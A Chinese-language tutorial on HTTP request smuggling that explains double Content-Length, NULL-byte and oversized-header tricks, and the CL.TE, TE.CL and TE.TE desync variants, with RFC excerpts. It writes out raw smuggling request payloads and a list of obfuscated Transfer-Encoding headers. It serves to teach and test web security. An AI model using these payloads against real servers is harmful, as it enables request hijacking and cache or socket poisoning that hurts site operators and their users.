HTTP请求走私
自HTTP/1.1以来,已经广泛支持在单个底层TCP或SSL/TLS套接字上发送多个HTTP请求。该协议非常简单——HTTP请求只是背靠背放置,服务器解析头信息以确定每个请求的结束位置和下一个请求的开始位置。
就其本身而言,这是无害的。然而,现代网站由系统链组成,所有系统都通过HTTP通信。这种多层架构接收来自多个不同用户的HTTP请求,并通过单个TCP/TLS连接路由它们。
这意味着突然间,后端与前端就每个消息的结束位置达成一致变得至关重要。否则,攻击者可能能够发送一个模糊的消息,该消息被后端解释为两个不同的HTTP请求。
双重内容长度
让我们假设前端优先处理第一个content-length头,而后端优先处理第二个。从后端的角度来看,TCP流可能看起来像这样:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 6
Content-Length: 5
12345GPOST / HTTP/1.1
Host: vulnerable-website.com
...
在底层,前端将 12345G
转发到后端,后端只读取 12345
然后发出响应。这导致后端套接字被 G
污染。当合法请求到达时,它最终被附加到 G
上,导致意外响应。
在这个例子中,注入的 G
会破坏用户的请求,他们可能会得到类似于"Unknown method GPOST"的响应。
在现实生活中,双重内容长度技术很少起作用,因为许多系统明智地拒绝具有多个 Content-Length
头的请求。根据 RFC 7230 3.3.3 的规定,双重Content-Length头支持是严格禁止的:
如果接收到没有Transfer-Encoding且具有多个具有不同字段值的Content-Length头字段或具有无效值的单个Content-Length头字段的消息,则消息框架无效,接收方必须将其视为不可恢复的错误。如果这是一个请求消息,服务器必须响应400(Bad Request)状态码然后关闭连接。如果这是代理接收到的响应消息,代理必须关闭与服务器的连接,丢弃接收到的响应,并向客户端发送502(Bad Gateway)响应。如果这是用户代理接收到的响应消息,用户代理必须关闭与服务器的连接并丢弃接收到的响应。
NULL字符注入
在头中使用NULL字节字符会导致请求被拒绝和查询过早结束。如果在第一个错误后管道不关闭,下一行将被解释为管道中的下一个请求。
有效的管道可能看起来像这样:
GET / HTTP/1.1
Host: vulnerable-website.com
X-Something: \0 something
X-Foo: Bar
GET /index.html?bar=1 HTTP/1.1
Host: vulnerable-website.com
...
生成2个错误 400 Bad Request
,因为第二个查询以 X-Foo: Bar
开头,这是一个无效的第一查询行。
无效的管道可能看起来像这样(因为2个查询之间没有 \r\n
):
GET / HTTP/1.1
Host: vulnerable-website.com
X-Something: \0 something
GET /index.html?bar=1 HTTP/1.1
Host: vulnerable-website.com
...
它生成一个错误 400 Bad Request
和一个 200 OK
响应。第二个查询被视为有效。
但是行 GET /index.html?bar=1 HTTP/1.1
是一个无效的头,大多数代理会早期拒绝假管道作为坏查询,因为
GET /index.html?bar=1 HTTP/1.1
!=
<HEADER-NAME-NO-SPACE>[:][SP]<HEADER-VALUE>[CR][LF]
查询的第一行具有以下语法:
<METHOD>[SP]<LOCATION>[SP]HTTP/[M].[m][CR][LF]
<METHOD>[SP]<http[s]://LOCATION>[SP]HTTP/[M].[m][CR][LF]
LOCATION
可用于注入头行中所需的特殊 [:]
,特别是在查询字符串部分,但这会在 HEADER-NAME-NO-SPACE
部分注入很多坏字符,比如 '/' 或 '?'。
但在绝对uri语法中,特殊 [:]
随行一起出现,对于 HEADER-NAME-NO-SPACE
的坏字符将只是一个空格。这也将修复潜在的 Host
头重复存在(绝对uri确实替换了 Host
头)。
GET / HTTP/1.1
Host: vulnerable-website.com
X-Something: \0 something
GET http://vulnerable-website.com/index.html?bar=1 HTTP/1.1
行 GET http://vulnerable-website.com/index.html?bar=1 HTTP/1.1
将被解析为头,名称为 GET http
,值为 //vulnerable-website.com/index.html?bar=1 HTTP/1.1
。这仍然是一个无效的头(头名称包含空格),但一些HTTP代理会传递这样的头。在错误 400 Bad Request
之后,我们得到一个 200 OK
响应。
巨大头
此攻击与前面的攻击一样会触发查询结束事件,但不需要神奇的NULL字符。我们可以使用大约65536字符的头触发查询结束事件,并以与NULL过早结束查询相同的方式利用它。
GET / HTTP/1.1
Host: vulnerable-website.com
X-Something: AAAAA...( 65 532 'A' )...AAA
GET http://vulnerable-website.com/index.html?bar=1 HTTP/1.1
它生成错误 400 Bad Request
和一个 200 OK
响应。
分块编码
规范 RFC 2616 4.4 隐式允许使用 Transfer-Encoding: chunked
和 Content-Length
处理请求,很少有服务器拒绝此类请求:
如果同时接收到Transfer-Encoding头字段和Content-Length头字段的消息,后者必须被忽略。
每当我们找到一种方法将 Transfer-Encoding
头从链中的一个服务器隐藏时,它将回退到使用 Content-Length
,我们可以使整个系统失去同步。这样做的确切方式取决于两个服务器的行为:
CL.TE:前端服务器使用
Content-Length
头,后端服务器使用Transfer-Encoding
头,TE.CL:前端服务器使用
Transfer-Encoding
头,后端服务器使用Content-Length
头,TE.TE:前端和后端服务器都支持
Transfer-Encoding
头,但可以通过某种方式混淆头来诱导其中一个服务器不处理它。
分块消息
分块消息体由0个或多个块组成。每个块由块大小组成,后跟换行符 \r\n
,后跟块内容。消息以大小为0的块终止,后跟换行符 \r\n
。示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
4
n3va
0
头字段
头字段的格式由 RFC 7230 3.2 规定:
每个头字段由不区分大小写的字段名称组成,后跟冒号(":")、可选的前导空格、字段值和可选的尾随空格。
所以:
HEADER:HEADER_VALUE[\r\n] => OK
HEADER:[SPACE]HEADER_VALUE[\r\n] => OK
HEADER:[SPACE]HEADER_VALUE[SPACE][\r\n] => OK
HEADER[SPACE]:HEADER_VALUE[\r\n] => NOT OK
并且 RFC 7230 3.2.4 添加:
头字段名称和冒号之间不允许有空格。过去,对此类空格的处理差异导致了请求路由和响应处理中的安全漏洞。服务器必须拒绝任何包含头字段名称和冒号之间空格的接收到的请求消息,响应码为400(Bad Request)。代理必须在将消息向下游转发之前从响应消息中删除任何此类空格。
CL.TE漏洞
前端服务器使用 Content-Length
头,后端服务器使用 Transfer-Encoding
头。我们可以执行如下简单的HTTP请求走私攻击:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
前端服务器处理 Content-Length
头并确定请求体为13字节长,直到 SMUGGLED 的末尾。此请求被转发到后端服务器。
后端服务器处理 Transfer-Encoding
头,因此将消息体视为使用分块编码。它处理第一个块,该块被声明为零长度,因此被视为终止请求。接下来的字节,SMUGGLED,保持未处理状态,后端服务器将这些视为序列中下一个请求的开始。
TE.CL漏洞
前端服务器使用 Transfer-Encoding
头,后端服务器使用 Content-Length
头。我们可以执行如下简单的HTTP请求走私攻击:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
前端服务器处理 Transfer-Encoding
头,因此将消息体视为使用分块编码。它处理第一个块,该块被声明为8字节长,直到 SMUGGLED 后下一行的开始。它处理第二个块,该块被声明为零长度,因此被视为终止请求。此请求被转发到后端服务器。
后端服务器处理 Content-Length
头并确定请求体为3字节长,直到8后下一行的开始。接下来的字节,从 SMUGGLED 开始,保持未处理状态,后端服务器将这些视为序列中下一个请求的开始。
TE.TE漏洞
前端和后端服务器都支持 Transfer-Encoding
头,但可以通过某种方式混淆头来诱导其中一个服务器不处理它。
混淆 Transfer-Encoding
头的方法可能有无数种,例如:
Transfer-Encoding: xchunked
Transfer-Encoding[SPACE]: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[TAB]chunked
[SPACE]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Transfer-Encoding: chùnked
Transfer-Encoding: \x00chunked
Foo: bar\r\n\rTransfer-Encoding: chunked
这些技术中的每一种都涉及对HTTP规范的微妙偏离。实现协议规范的实际代码很少绝对精确地遵守它,不同的实现容忍规范的不同变化是常见的。要发现TE.TE漏洞,有必要找到 Transfer-Encoding
头的某种变体,使得只有前端或后端服务器中的一个处理它,而另一个服务器忽略它。
根据是前端还是后端服务器可以被诱导不处理混淆的 Transfer-Encoding
头,攻击的其余部分将采用与CL.TE或TE.CL漏洞相同的形式。
参考资料
最后更新于